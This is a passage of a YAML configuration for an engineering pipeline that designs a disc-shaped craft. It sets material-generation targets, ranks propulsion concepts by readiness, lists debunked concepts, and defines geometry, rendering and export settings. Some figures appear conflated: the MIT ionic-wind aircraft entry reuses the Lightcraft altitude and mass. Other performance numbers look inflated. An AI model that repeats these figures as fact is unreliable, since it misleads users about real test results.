          process: [powder_metallurgy, arc_melting, electron_beam_melting, cvd_coating]

          purity: {min: 0.9999, note: "Four nines minimum"}

          grain_orientation: {prefer: "<100>", note: "Lower work function"}

    plasma_window:
      target_properties:

        melting_point: {min: 2500, unit: K, priority: critical}

        thermal_conductivity: {min: 100, unit: "W/(m·K)", priority: critical}

        electrical_resistivity: {max: 1e-5, unit: "Ω·m", priority: medium}

        thermal_emissivity: {min: 0.8, unit: ratio, priority: high}

        neutron_transparency: {high: true, priority: medium}

      geometry:
        thickness: {min: 5, max: 20, unit: mm}

        surface_area: {target: 2, unit: m²}

        curvature: saucer_conformal

    thermal_protection:
      target_properties:

        ablation_rate: {max: 0.05, unit: "mm/s", priority: veto}

        heat_of_ablation: {min: 20, unit: "MJ/kg", priority: critical}

        char_layer_strength: {min: 10, unit: MPa, priority: high}

        thermal_conductivity: {max: 5, unit: "W/(m·K)", priority: high}

      composition:
        matrix: carbon_phenolic_or_silica_phenolic

        reinforcement: carbon_fiber_or_ceramic_fiber

        gradient: density_graded_5_to_20_percent

  mattergen:
    api_endpoint: "http://materials-service.syre.local:8000"

    model: "microsoft/mattergen-v1"

    constraints:
      uhtc_base:

        composition_space:

          primary_elements: [Zr, Hf, Ta, W, Mo, Nb, Ti]

          secondary_elements: [B, C, Si, N]

          ternary_additions: [La, Y, Sc, Al, Cr]

          exclude_elements: [Co, Eu, Dy, Gd, Tb, radioactive]

          max_atoms: 20

          symmetry_preference: [cubic, hexagonal]

        property_targets:
          bulk_modulus: {min: 300, max: 500, unit: GPa}

          shear_modulus: {min: 150, max: 300, unit: GPa}

          formation_energy: {max: -0.8, unit: "eV/atom"}

          melting_point: {min: 2800, unit: K, empirical_model: jarvis_2018}

        em_properties:
          electrical_conductivity: {min: 1e4, unit: "S/m"}

          magnetic_susceptibility: {diamagnetic_preferred: true}

          dielectric_constant: {max: 50, priority: low}

      electrode_material:
        composition_space:

          primary_elements: [W, Ta, Mo, Re, Ir, Os, Ru]

          dopants: [La, Th, Ce, Y]

          exclude_elements: [radioactive_above_trace]

          max_atoms: 10

        property_targets:
          bulk_modulus: {min: 250, unit: GPa}

          work_function: {max: 4.5, unit: eV}

          thermal_conductivity: {min: 100, unit: "W/(m·K)"}

      cmc_reinforcement:
        composition_space:

          fiber_phase: [SiC, C, Al2O3, B4C]

          matrix_phase: [SiC, Si3N4, AlN, BN]

          interface: [PyC, BN, carbon_nanotube]

        property_targets:
          tensile_strength: {min: 300, unit: MPa}

          strain_to_failure: {min: 0.005, unit: ratio}

          oxidation_onset: {min: 1200, unit: K}

    generation:
      n_candidates: 15

      guidance_factor: 3.0

      diffusion_steps: 1500

      temperature: 0.6

      random_seeds: [1337, 2718, 3141, 4669, 5779, 6997, 8009, 9103, 10111, 11213, 12239, 13327, 14419, 15511, 16631]

    validation:
      <<: *validation_pipeline

      propulsion_specific:

        hall_thruster: {focus: [low_sputtering_yield, thermal_shock, dielectric_strength]}

        ion_grids: {focus: [sputtering_resistance, thermal_expansion_match, conductivity]}

        mpd: {focus: [ultra_high_melting_point, high_current_density, low_work_function]}

        mhd: {focus: [plasma_erosion_resistance, thermal_conductivity, em_compatibility]}

propulsion:
  philosophy: no_moving_parts_validated_physics_only

  evidence_basis: "EmDrive/Mach effect debunked (Dresden 2021); reactionless thrust impossible per conservation of momentum"

  architecture:
    primary: electric_propulsion_array

    secondary: atmospheric_mhd_for_dual_regime

    tertiary: photon_pressure_cruise

    power_source: compact_nuclear_or_solar_array

  implementation_roadmap:
    near_term: [hall_thruster_array, gridded_ion_cluster, pulsed_plasma]

    mid_term: [mpd_superconducting, atmospheric_mhd, vasimr]

    far_term: [frc_plasma, mhd_reentry_power]

    never: [emdrive, mach_effect, quantum_vacuum, podkletnov, pais]

  concepts:
    # TRL 9 - FLIGHT PROVEN

    hall_thruster_array:

      <<: *trl_assessment

      level: 9

      flight_heritage: "6000+ Starlink satellites, 50+ missions since 1971"

      last_demonstration: "NASA AEPS 12.5kW development 2023-2025"

      readiness_date: now

      rank: 1
      realism_score: 10

      physics: "Crossed E/B fields trap electrons, accelerate ions; quasi-neutral plasma exhaust"

      configuration:
        geometry: circumferential_array_8_to_12_units

        thrust_vectoring: magnetic_field_steering_no_gimbal

        saucer_advantage: "360° symmetric placement, uniform reaction force distribution"

        reference_thruster: "U Michigan X3 nested Hall - 5.4 N at 100 kW"

      performance:
        specific_impulse: {min: 1500, max: 3000, unit: seconds}

        thrust_to_power: {min: 60, max: 100, unit: "mN/kW"}

        efficiency: {min: 0.50, max: 0.76, unit: ratio}

        mass_utilization: {min: 0.90, max: 0.99, unit: ratio}

        electrode_life: {min: 50000, unit: hours}

      propellant:
        primary: xenon

        alternatives: [krypton, argon]

        storage: "High-pressure tanks, ~850 USD/kg for Xe"

      materials:
        discharge_channel: boron_nitride_ceramic

        magnets: [samarium_cobalt, neodymium_iron_boron]

        anode: [molybdenum, carbon_carbon_composite]

        cathode: tungsten_hollow_cathode

      challenges:
        - propellant_mass_for_extended_missions

        - plume_interaction_in_clusters

        - power_processing_unit_mass_at_high_power

      cost_estimate: {development: "50M-200M USD", unit_cost: "500K-2M USD per thruster"}
    gridded_ion_cluster:
      <<: *trl_assessment

      level: 9

      flight_heritage: "Dawn (2007-2018), DART (2021-2022), Deep Space 1"

      last_demonstration: "NASA NEXT-C 17M N·s total impulse"

      readiness_date: now

      rank: 2
      realism_score: 10

      physics: "Electron bombardment ionization + electrostatic acceleration via charged grids"

      configuration:
        geometry: central_cluster_4_to_8_units

        thrust_vectoring: differential_throttling

        saucer_advantage: "Central hub placement, symmetric propellant distribution"

        reference: "NASA NEXT-C performance baseline"

      performance:
        specific_impulse: {target: 4220, unit: seconds}

        thrust_range: {min: 25, max: 235, unit: "mN per thruster"}

        power_range: {min: 0.6, max: 7.4, unit: kW}

        efficiency: {target: 0.70, unit: ratio}

        total_impulse: {min: 17, max: 18, unit: "million N·s per thruster"}

        exhaust_velocity: {min: 30, max: 40, unit: "km/s"}

      mass:
        thruster: {max: 14, unit: kg}

        power_processing: {max: 36, unit: kg}

      materials:
        grids: [molybdenum, carbon_carbon_composite]

        discharge_chamber: pyrolytic_graphite

        structure: carbon_fiber_reinforced_polymer

      challenges:
        - grid_erosion_from_ion_impingement

        - xenon_cost_850_usd_per_kg

        - power_processing_complexity

        - low_thrust_density_long_mission_durations

    pulsed_plasma_thruster:
      <<: *trl_assessment

      level: 7-9

      flight_heritage: "Zond 2 (1964), EO-1 (2000-2002), FalconSat-3 (2007)"

      last_demonstration: "CU Aerospace FPPT scheduled DUPLEX Sept 2025"

      readiness_date: now

      rank: 3
      realism_score: 9

      physics: "Capacitor discharge ablates PTFE, Lorentz force (j×B) accelerates plasma"

      configuration:
        geometry: distributed_modules_embedded_in_hull

        application: attitude_control_and_secondary_propulsion

        integration: teflon_fuel_bars_in_structural_panels

      performance:
        power: {min: 1, max: 150, unit: W_average}

        impulse_bit: {min: 10, max: 100, unit: "μN·s per pulse"}

        specific_impulse_ptfe: {min: 1000, max: 1400, unit: seconds}

        specific_impulse_gas: {max: 5000, unit: seconds}

        efficiency: {min: 0.15, max: 0.30, unit: ratio}

        pulse_rate: {min: 1, max: 10, unit: Hz}

      materials:
        propellant: ptfe_teflon

        electrodes: [tungsten, carbon]

        insulators: ceramic

        capacitors: compact_high_voltage

      advantages:
        - completely_solid_state

        - propellant_embedded_in_structure

        - 60_years_flight_heritage

        - ideal_cubesat_to_small_satellite

    # TRL 4-5 - LABORATORY VALIDATED
    mpd_superconducting:

      <<: *trl_assessment

      level: 4-5

      flight_heritage: "EPEX on Space Flyer Unit (1995-1996) only flight test"

      last_demonstration: "150 kW superconducting MPD, 76.6% efficiency, 2021"

      readiness_date: 5-10 years

      rank: 4
      realism_score: 8

      physics: "High-current arc creates self-field; superconducting magnets multiply efficiency 5-10×"

      configuration:
        geometry: central_cluster_with_toroidal_hts_magnets

        placement: central_hub_fires_through_peripheral_ports

        saucer_advantage: "Disc accommodates large magnet mass in hub"

        magnet_type: rebco_hts_at_77k_or_20k

      performance_demonstrated_2021:
        power: {demonstrated: 150, target: 1000, theoretical_max: 30000, unit: kW}

        thrust: {at_150kw: 4, theoretical: 200, unit: N}

        specific_impulse: {demonstrated: 5714, unit: seconds}

        efficiency: {demonstrated: 0.766, applied_field: 0.56, unit: tesla}

        exhaust_velocity: {demonstrated: 56, unit: "km/s"}

      materials:
        superconductor: rebco_tape_rare_earth_barium_copper_oxide

        cathode: [tungsten, thoriated_tungsten]

        anode: [graphite, tungsten, refractory_metals]

        cooling: [liquid_nitrogen, cryocooler_to_77k]

        reference: "Commonwealth Fusion 20T at 20K REBCO validates magnet tech"

      challenges:
        - cryogenic_cooling_77k_for_rebco

        - electrode_erosion_above_100_a_per_cm2

        - power_system_mass_for_mw_class

        - thermal_management_multi_mw_dissipation

      cost_estimate: {development: "200M-800M USD", timeline: "5-10 years"}
    atmospheric_mhd:
      <<: *trl_assessment

      level: 3-4

      flight_heritage: none

      last_demonstration: "NASA MAPX 50% efficiency, 80% velocity increase"

      readiness_date: 10-15 years

      rank: 5
      realism_score: 7

      physics: "Lorentz force (j×B) on ionized air; disc geometry enables 360° electrode placement"

      configuration:
        geometry: circumferential_segmented_faraday_electrodes

        current_path: diagonal_for_hall_neutralization

        magnet: central_2t_electromagnet_water_cooled_or_sc

        ionization: [arc_heater, rf_discharge, alkali_seeding_cs_k]

        saucer_advantage: "OPTIMAL GEOMETRY - uniform radial acceleration, natural Coandă airfoil"

        reference: "Subrata Roy WEAV research explicitly identifies disc as ideal"

      performance_nasa_mapx:
        power: {min: 1500, max: 30000, unit: kW}

        global_efficiency: {demonstrated: 0.50, unit: ratio}

        velocity_increase: {demonstrated: 0.80, unit: ratio}

        exhaust_velocity: {min: 15, max: 100, unit: "km/s"}

        altitude: {air_breathing: [0, 24384], unlimited_with_propellant: true, unit: m}

      materials:
        plasma_facing: [zrb2, hfb2, uhtc_composites]

        electrodes: [tungsten, graphite]

        magnets: rebco_for_weight_reduction

        power_electronics: sic_semiconductor

      related_programs:
        darpa_pump: "20 Tesla REBCO for undersea MHD - magnet tech proven"

        nasa_mapx: "Magnetohydrodynamic Augmented Propulsion Experiment"

        lightcraft: "Leik Myrabo MHD disc concepts"

      challenges:
        - mw_class_compact_power_generation

        - air_ionization_penalty_below_mach_12

        - electrode_erosion_atmospheric_plasma

        - aircraft_integration_multi_mw_systems

      cost_estimate: {development: "500M-2B USD", timeline: "10-15 years"}
    vasimr_electrodeless:
      <<: *trl_assessment

      level: 5-6

      flight_heritage: none

      last_demonstration: "VX-200 200 kW ground test, 72% efficiency"

      readiness_date: 10-20 years

      rank: 6
      realism_score: 7

      physics: "Helicon RF ionization + ICH heating to 1-2M K + magnetic nozzle"

      configuration:
        geometry: central_engine_with_sc_magnetic_nozzle

        plasma: toroidal_confinement_compatible_with_disc

        isp: variable_for_mission_optimization

      performance_vx200:
        power: {demonstrated: 200, unit: kW}

        thrust: {min: 5.7, max: 5.8, unit: N}

        specific_impulse: {target: 5000, unit: seconds}

        exhaust_velocity: {target: 50, unit: "km/s"}

        efficiency: {demonstrated: 0.72, uncertainty: 0.09, unit: ratio}

        power_density: {min: 5, unit: "MW/m²"}

      challenges:
        - requires_200plus_kw_nuclear_or_solar

        - superconducting_magnet_cryogenics

        - plasma_detachment_from_nozzle

        - iss_test_repeatedly_delayed_decades

      materials:
        coils: rebco_superconducting

        antenna: [copper, ceramics]

        propellant: [argon, hydrogen]

        thermal: advanced_management_required

    # TRL 2-4 - EARLY RESEARCH
    electrohydrodynamic_corona:

      <<: *trl_assessment

      level: 6

      flight_heritage: "MIT sustained EHD aircraft flight 2018"

      last_demonstration: "MIT aircraft 71m altitude, 50g vehicle"

      readiness_date: 5-10 years_atmospheric_only

      rank: 7
      realism_score: 6

      physics: "Corona discharge ionizes air; ions accelerate through E-field creating ionic wind"

      configuration:
        geometry: concentric_ring_emitters_upper_mesh_collector_lower

        electrode: wire_to_cylinder_geometry

        control: multiple_zones_for_attitude

      performance:
        thrust_to_power: {min: 20, max: 100, unit: "mN/W"}

        thrust_density_area: {max: 3.3, unit: "N/m²"}

        thrust_density_volume: {max: 15, unit: "N/m³"}

        voltage: {min: 10, max: 70, unit: kV}

        efficiency_kinetic: {max: 0.02, unit: ratio}

        thrust_to_weight: {max: 17, unit: ratio}

      limitations:
        - atmospheric_only_fails_vacuum

        - altitude_degradation: "26 mN/W @ 1atm → 0.5 mN/W @ 20km"

        - very_low_efficiency

        - ozone_generation

      materials:
        emitters: [tungsten_wire, stainless_steel]

        collectors: aluminum_mesh

        insulators: high_voltage_ceramic

        structure: lightweight_dielectric

      application: "Low-altitude loitering, not space-capable"
    laser_ablation_beamed:
      <<: *trl_assessment

      level: 5

      flight_heritage: "Leik Myrabo Lightcraft 71m altitude 2000"

      last_demonstration: "White Sands 9-10 kW laser demonstrations"

      readiness_date: research_only

      rank: 8
      realism_score: 5

      physics: "Ground laser heats air to 30,000°F, explosive plasma at 20-28 Hz"

      configuration:
        geometry: parabolic_lower_reflector_for_10_6um_co2

        detonation: annular_chamber_around_perimeter

        saucer_advantage: "Natural focal surface for parabolic geometry"

      performance_white_sands:
        laser_power: {min: 9, max: 10, unit: kW_pulsed}

        vehicle_mass: {record: 0.0506, unit: kg}

        altitude_achieved: {record: 71, unit: m}

        coupling: {demonstrated: 56, unit: "μN/W"}

        isp_theoretical: {min: 1000, max: 3660, unit: seconds}

      limitations:
        - requires_massive_ground_infrastructure

        - atmospheric_beam_propagation

        - tracking_difficulty_long_distance

        - craft_size_limited_by_beam_power

      application: "Demonstrations only; orbital delivery impractical (requires 100+ GW)"
    plasma_window_interface:
      <<: *trl_assessment

      level: 3-4

      flight_heritage: none

      last_demonstration: "Brookhaven 2.5 atm differential, 3mm aperture"

      readiness_date: 15-25 years

      rank: 9
      realism_score: 5

      physics: "DC arc at 12,000K creates viscous seal - density 1/40 atm while matching pressure"

      configuration:
        geometry: ring_plasma_around_disc_perimeter

        application: drag_reduction_and_thermal_protection

        enables: vacuum_propulsion_through_atmosphere

      performance_brookhaven:
        pressure_differential: {min: 2.5, unit: atmospheres}

        aperture_tested: {diameter: 3, unit: mm}

        power_per_inch: {approximately: 20, unit: kW}

        pressure_reduction: {factor: 228.6, vs: differential_pumping}

      challenges:
        - scaling_to_spacecraft_apertures

        - plasma_stability_high_dynamic_pressure

        - integration_with_propulsion_exhaust

      application: "Enabling technology for multi-regime operation, not primary propulsion"
    solar_sail_lcd:
      <<: *trl_assessment

      level: 9

      flight_heritage: "IKAROS (2010), LightSail 2 (2019), NASA ACS3 (2024)"

      last_demonstration: "NASA Solar Cruiser 1200+ m² planned 2025+"

      readiness_date: now

      rank: 10
      realism_score: 9_deep_space_3_maneuvering

      physics: "Solar radiation pressure 9 μN/m² at 1 AU; LCD reflectance control"

      configuration:
        geometry: deployable_disc_shaped_sail

        control: lcd_panels_for_attitude_no_moving_parts

        integration: embedded_thin_film_solar_cells

        saucer_advantage: "Natural disc geometry, IKAROS heritage"

      performance_ikaros_lightsail:
        areal_density: {approximately: 10, unit: "g/m²"}

        thrust_per_200m2: {approximately: 1, unit: mN_at_1au}

        specific_impulse: infinite_propellant_free

        attitude_control: 80_lcd_panels_demonstrated

      limitations:
        - extremely_low_thrust

        - requires_large_area

        - deployment_complexity

        - solar_pressure_decreases_r_squared

      application: "Deep space cruise, not near-Earth maneuvering"
    frc_plasma:
      <<: *trl_assessment

      level: 2-3

      flight_heritage: none

      last_demonstration: "TAE Technologies, Helion fusion experiments"

      readiness_date: 15-25 years

      rank: 11
      realism_score: 5

      physics: "Self-organized plasma torus with reversed B-field; compact high-beta confinement"

      configuration:
        geometry: toroidal_frc_in_central_hub

        ejection: magnetic_nozzle_plasmoid_acceleration

        saucer_advantage: "Axisymmetric matches disc structure"

      performance_theoretical:
        specific_impulse: {min: 2000, max: 10000, unit: seconds}

        efficiency: {projected: 0.50, max: 0.70, unit: ratio}

        plasma_density: {min: 1e19, max: 1e21, unit: "m⁻³"}

        confinement: self_organized_field_reversal

      challenges:
        - plasmoid_stability_during_acceleration

        - magnetic_nozzle_efficiency

        - plasma_detachment

        - trl_2_3_propulsion_application

      application: "Fusion research validates physics; propulsion 15-25 years out"
    piezoelectric_array:
      <<: *trl_assessment

      level: 4

      flight_heritage: none

      last_demonstration: "Laboratory demonstrations only"

      readiness_date: never_for_primary_propulsion

      rank: 12
      realism_score: 3

      physics: "Distributed piezo elements create acoustic forces for micro-propulsion"

      performance:
        coefficient_pmn_pt: {approximately: 2000, unit: "pC/N"}

        frequency: {min: 1, max: 1000, unit: kHz}

        force: {scale: micro_to_milli_newton}

        power: {min: 1, max: 100, unit: W}

      limitations:
        - very_low_thrust

        - complex_control

        - structural_fatigue

        - thermal_limitations

      application: "Fine attitude control only, not primary propulsion"
    dbd_flow_control:
      <<: *trl_assessment

      level: 7

      flight_heritage: "Laboratory and wind tunnel demonstrations"

      last_demonstration: "45-68% skin friction reduction turbulent flows"

      readiness_date: 5-10 years_as_augmentation

      rank: 13
      realism_score: 7_drag_reduction_4_primary

      physics: "AC plasma between surface electrodes creates body force in boundary layer"

      configuration:
        geometry: hull_surface_dbd_actuators

        application: drag_reduction_and_virtual_shaping

        benefit: reduced_power_for_primary_propulsion

      performance:
        friction_reduction: {min: 0.30, max: 0.68, unit: ratio}

        power: {min: 10, max: 100, unit: "W/m²"}

        voltage: {min: 5, max: 20, unit: kV_ac}

        frequency: {min: 1, max: 10, unit: kHz}

      application: "Augmentation system, not primary propulsion"
    biefeld_brown:
      <<: *trl_assessment

      level: 4

      flight_heritage: "MIT EHD aircraft (ionic wind mechanism)"

      last_demonstration: "Army Research Lab 2002 confirmed ionic wind only"

      readiness_date: subsumed_by_ehd

      rank: 14
      realism_score: 4

      physics: "Asymmetric capacitor produces ionic wind (electrohydrodynamics), NOT anti-gravity"

      clarification: "Biefeld-Brown effect is EHD with capacitor geometry. No exotic physics."
      performance:
        voltage: {min: 25000, max: 200000, unit: V}

        mechanism: ion_wind_confirmed

        atmospheric_only: true

        efficiency: {max: 0.01, unit: ratio}

      application: "Historical interest exceeds utility; subsumed by EHD (Concept 7)"
    mhd_reentry_power:
      <<: *trl_assessment

      level: 2-3

      flight_heritage: none

      last_demonstration: "Ground facilities only, DIA research"

      readiness_date: 15-25 years

      rank: 15
      realism_score: 5

      physics: "Reentry plasma flow through B-field generates MW power while creating drag"

      configuration:
        geometry: surface_mhd_on_disc_leading_edge

        dual_use: deceleration_plus_power_recovery

        saucer_advantage: "Large cross-section for energy capture"

      performance_dia_projections:
        power_extraction: {scale: mw_class_from_reentry}

        drag_augmentation: {min: 2, max: 5, factor: "× baseline"}

        operating_regime: {min: 10, unit: mach_plus}

        plasma_conductivity: {min: 1000, max: 10000, unit: "S/m"}

      challenges:
        - extreme_thermal_environment

        - magnet_protection

        - power_conditioning_harsh_environment

        - trl_2_3_no_flight_demo

      application: "Atmospheric entry, not cruise propulsion"
  debunked_concepts_excluded:
    note: "Following concepts fail physics validation and must not be pursued"

    emdrive_rf_cavity:
      status: definitively_debunked

      evidence: "Dresden University 2021 battery-isolated thrust balance: ZERO thrust within measurement accuracy, 3+ orders magnitude below claims"

      physics_violation: conservation_of_momentum

      explanation: "NASA Eagleworks positive results were thermal drift artifacts in mounting hardware"

    mach_effect:
      status: definitively_debunked

      evidence: "Dresden 2021 identified forces as vibrational artifacts, not real thrust"

      physics_violation: "Inconsistent with Einstein field equations"

    quantum_vacuum_plasma:
      status: pseudoscience

      evidence: "Sean Carroll (Caltech): 'quantum vacuum virtual plasma' not meaningful physics concept"

      explanation: "All claimed effects are experimental error"

    podkletnov_gravity_shielding:
      status: failed_replication

      evidence: "Toronto, Sheffield, NASA, Tajmar all produced null results"

      explanation: "Original claims likely instrumentation artifacts"

    pais_inertial_mass_reduction:
      status: disproven

      evidence: "Navy testing 3 years, ~$500K concluded: 'Pais Effect could not be proven'"

      patent_status: expired_non_payment

      classification: pseudoscience

    alcubierre_warp:
      status: requires_unphysical_matter

      evidence: "Needs exotic matter with negative energy density - never observed, may not exist"

      math_status: "GR-consistent but physically impossible"

validation:
  propulsion_selection_criteria:

    physics_validity:

      weight: 0.30

      checks: [conservation_laws, experimental_validation, peer_review]

      veto: violates_known_physics

    technology_readiness:
      weight: 0.25

      metrics: [trl_level, flight_heritage, lab_demonstrations]

      threshold: trl_3_minimum

    performance:
      weight: 0.20

      metrics: [thrust_to_power, specific_impulse, efficiency]

    scalability:
      weight: 0.15

      checks: [small_prototype_to_full_craft, power_requirements, mass_fraction]

    cost:
      weight: 0.10

      factors: [development_cost, manufacturing, timeline]

  technology_readiness_definitions:
    trl_9: "Actual system flight proven through successful mission operations"

    trl_7_8: "System prototype demonstrated in space environment"

    trl_5_6: "Component or breadboard validated in relevant environment"

    trl_3_4: "Component or breadboard validation in laboratory"

    trl_1_2: "Basic principles observed and reported"

saucer_geometry_advantages:
  note: "Disc/saucer configuration uniquely optimal for no-moving-parts electromagnetic propulsion"

  electromagnetic_benefits:
    circumferential_electrode_placement:

      description: "360° uniform electrode distribution impossible with conventional aircraft"

      systems: [hall_array, mhd_atmospheric, pulsed_plasma]

      advantage: "Reaction forces distribute evenly across circular hull vs point loads"

    axisymmetric_field_distribution:
      description: "Natural symmetry for toroidal/dipole magnetic fields"

      systems: [mpd_superconducting, vasimr, frc_plasma]

      advantage: "Magnetic flux closure without edge effects"

    omnidirectional_thrust_vectoring:
      description: "Full 360° control through differential electrode activation"

      systems: [hall_array, mhd, ehd_corona]

      advantage: "No mechanical gimbals - electromagnetic steering only"

    uniform_plasma_sheath:
      description: "Symmetric plasma attachment around entire perimeter"

      systems: [mhd_atmospheric, plasma_window]

      advantage: "Eliminates asymmetric loading during atmospheric flight"

  aerodynamic_benefits:
    coanda_airfoil:

      description: "Disc profile naturally creates lift via Coandă effect"

      reference: "Subrata Roy WEAV - 'saucer provides greater lift than wing'"

      mhd_synergy: "MHD-generated wind enhances Coandă circulation"

    large_wetted_area:
      description: "Maximum surface for MHD interaction with atmosphere"

      systems: [mhd_atmospheric, ehd_corona, dbd_flow_control]

      advantage: "Thrust scales with area - disc maximizes this"

    minimal_frontal_area:
      description: "Low drag at high speed vs conventional aircraft"

      benefit: "Drag coefficient comparable to streamlined bodies"

  structural_benefits:
    central_mass_distribution:

      description: "Heavy components (magnets, power) in central hub"

      advantage: "Low moment of inertia for agility"

      systems: [mpd_toroidal_magnets, nuclear_reactor, frc_chamber]

    load_path_efficiency:
      description: "Circular structure handles hoop stress naturally"

      advantage: "Propulsion loads become circumferential tension"

    thermal_management:
      description: "Radial heat rejection from center to edge"

      advantage: "Short conduction paths from hot core to radiating surface"

  historical_validation:
    v173_flying_pancake: "Vought 1942 - proven disc aerodynamics"

    avrocar_vz9: "1959-1961 US Army disc with central thruster"

    ekip_l1: "Russian disc research - aerodynamically stable"

    nasa_mapx: "MHD experiment explicitly used disc-like test articles"

  optimal_scale:
    small_10m: "Electromagnetic effects scale favorably"

    medium_25m: "Sweet spot for power-to-thrust ratio"

    large_50m: "Maximum benefit from circumferential electrode span"

geometry:
  saucer_configuration:

    overall:

      diameter: {min: 10, max: 50, unit: m}

      thickness_center: {min: 2, max: 5, unit: m}

      thickness_edge: {min: 0.5, max: 1.5, unit: m}

      profile: lenticular_or_biconvex

    hull_layers:
      outer_tps:

        material: carbon_phenolic_or_pica_x

        thickness: {min: 50, max: 200, unit: mm}

        gradient: density_graded

      structural_shell:
        material: mattergen_uhtc_composite

        thickness: {min: 20, max: 80, unit: mm}

        stiffeners: isogrid_or_orthogrid

      thermal_barrier:
        material: aerogel_or_microporous_insulation

        thickness: {min: 50, max: 150, unit: mm}

      inner_pressure_vessel:
        material: aluminum_lithium_or_composite

        thickness: {min: 10, max: 30, unit: mm}

    mhd_thruster:
      location: equatorial_ring_or_central_disc

      channel_cross_section: {width: 0.5, height: 0.3, unit: m}

      channel_length: {min: 1, max: 3, unit: m}

      electrode_span: {target: 1, unit: m}

      magnetic_circuit:
        pole_pieces: soft_iron_or_cobalt_iron

        coils: nbti_or_nb3sn_superconductor

        cryostat: liquid_helium_or_cryocooler

  parametric:
    scaling:

      small: {diameter: 10, crew: 2, thrust: 100, unit: kN}

      medium: {diameter: 25, crew: 6, thrust: 500, unit: kN}

      large: {diameter: 50, crew: 20, thrust: 2000, unit: kN}

    optimization:
      objectives: [minimize_mass, maximize_thrust_to_weight, maximize_loiter_time]

      constraints: [thermal_limits, structural_integrity, em_field_strength]

visualization:
  engine: mittsu

  mittsu:
    version: "0.4.0+"

    renderer: opengl

    scene:
      background: 0x000000

      fog: {type: exponential, color: 0x000011, density: 0.0001}

      stars: procedural_skybox

    camera:
      type: perspective

      fov: 60.0

      near: 0.1

      far: 10000.0

      position: {x: 0, y: 50, z: 100}

      look_at: {x: 0, y: 0, z: 0}

    lighting:
      ambient: {color: 0x202020, intensity: 0.2}

      directional:

        - {color: 0xffffff, intensity: 1.0, position: {x: 1000, y: 2000, z: 1000}, cast_shadow: true}

      point:

        - {color: 0xff8800, intensity: 0.8, position: {x: 0, y: 0, z: 0}, distance: 50, note: "Plasma glow"}

    materials:
      uhtc_hull:

        type: mesh_standard

        color: 0x334455

        metalness: 0.8

        roughness: 0.3

        normal_map: procedural_grain_structure

      electrode:
        type: mesh_physical

        color: 0xcccccc

        metalness: 0.95

        roughness: 0.05

        clearcoat: 0.3

        emissive: 0x442200

        emissive_intensity: 0.5

      plasma_volume:
        type: mesh_physical

        color: 0xff6600

        transmission: 0.8

        opacity: 0.4

        emissive: 0xff8800

        emissive_intensity: 2.0

        ior: 1.0

      magnetic_field_lines:
        type: line_basic

        color: 0x00ffff

        opacity: 0.6

        line_width: 2

    plasma_visualization:
      method: particle_system

      particle_count: 10000

      velocity_field: j_cross_b_vectors

      color_by: temperature_or_density

      field_lines:
        source: magnetic_field_solver

        integration: runge_kutta_4

        density: 50_lines

    controls:
      type: orbit

      enable_zoom: true

      enable_pan: true

      enable_rotate: true

      auto_rotate: true

      auto_rotate_speed: 0.5

    rendering:
      antialias: true

      shadow_map: {enabled: true, type: pcf_soft}

      hdr: true

      bloom: {strength: 0.8, threshold: 0.8, radius: 0.5}

export:
  step:

    format: ap214

    units: millimeters

    coordinate_system: right_handed_z_up

    assembly_structure: hierarchical

    components:
      - hull_outer_shell

      - hull_inner_shell

      - thermal_barrier

      - mhd_channel

      - electrodes

      - magnetic_pole_pieces

      - structural_stiffeners

    metadata:
      include: [material_specifications, manufacturing_notes, assembly_sequence]

  stl:
    format: binary

    resolution: high_for_ceramic_printing

    validation:
      manifold_check: mandatory

      minimum_wall_thickness: 5mm

      overhang_analysis: {max_angle: 45, unit: degrees}

  fea_mesh:
    format: abaqus_inp

    element_type: c3d10

    element_size: {hull: 10, electrode: 2, plasma_interface: 0.5, unit: mm}

    boundary_conditions:

      - thermal_loads

      - electromagnetic_loads

      - structural_loads

      - combined_environment

workflow:
  phases:

    discover:

      inputs: [mission_requirements, thermal_envelope, electromagnetic_constraints]

      process:

        1: parse_requirements_to_property_targets

        2: invoke_mattergen_uhtc_generation

        3: filter_by_neutron_activation

        4: predict_em_properties

        5: estimate_synthesis_difficulty

      outputs: [15_material_candidates]

    validate:
      adversarial_cascade:

        security:

          checks: [element_export_control, radioactive_screening, toxicity_assessment]

          references: [itar, ear, reach]

          veto: true

        attacker:
          checks: [thermal_shock_failure, plasma_induced_cracking, em_field_distortion, oxidation_runaway]

          scenarios: [worst_case_reentry, electrode_arcing, coolant_loss]

          veto: true

        reliability:
          checks: [synthesis_pathway_validation, phonon_stability, grain_boundary_integrity]

          dft_validation: top_7_candidates

          experimental_precedent: icsd_cross_reference

          threshold: 0.95

        performance:
          checks: [thrust_density, specific_impulse, power_to_weight, thermal_efficiency]

          simulations: [cfd_plasma, em_field, thermal_transient]

          threshold: 0.85

      outputs: [3_validated_candidates]
    design:
      propulsion_selection:

        method: trl_weighted_multi_criteria_decision

        criteria:

          physics_validity: {weight: 0.30, veto: violates_conservation_laws}

          technology_readiness: {weight: 0.25, threshold: trl_3_minimum}

          performance: {weight: 0.20, metrics: [thrust_to_power, isp, efficiency]}

          scalability: {weight: 0.15, checks: [prototype_to_full, power_scaling]}

          cost: {weight: 0.10, factors: [development, timeline, manufacturing]}

        selection_output:
          primary: "Hall thruster array (TRL 9) OR ion cluster (TRL 9)"

          secondary: "MPD superconducting (TRL 4-5) for high-power missions"

          tertiary: "Atmospheric MHD (TRL 3-4) for dual-regime capability"

          attitude_control: "Pulsed plasma distributed (TRL 7-9)"

          cruise_augmentation: "Solar sail LCD (TRL 9)"

        excluded_systems:
          reason: physics_violation_or_debunked

          list: [emdrive, mach_effect, quantum_vacuum, podkletnov, pais, alcubierre]

      hull_geometry:
        method: parametric_nurbs_surfaces

        optimization: minimize_mass_subject_to_stress_and_em_constraints

        propulsion_integration:

          hall_ion: circumferential_or_central_placement

          mpd: central_hub_with_toroidal_magnets

          mhd: segmented_faraday_electrodes_in_hull

        tools:
          ruby: mittsu_geometry_builder

          cad: openscad_or_freecad_api

      electromagnetic_architecture:
        hall_array:

          units: {min: 8, max: 12}

          placement: circumferential_360_degree

          vectoring: magnetic_field_steering

          power_per_unit: {min: 0.5, max: 100, unit: kW}

        ion_cluster:
          units: {min: 4, max: 8}

          placement: central_hub

          vectoring: differential_throttling

          power_per_unit: {min: 0.6, max: 7.4, unit: kW}

        mpd_option:
          units: {min: 1, max: 4}

          magnet: rebco_toroidal_at_77k_or_20k

          power_per_unit: {min: 100, max: 1000, unit: kW}

          mass_consideration: large_magnet_in_hub

        mhd_option:
          electrode: circumferential_segmented

          magnet: central_2t_to_20t

          ionization: [arc_heater, rf, alkali_seed]

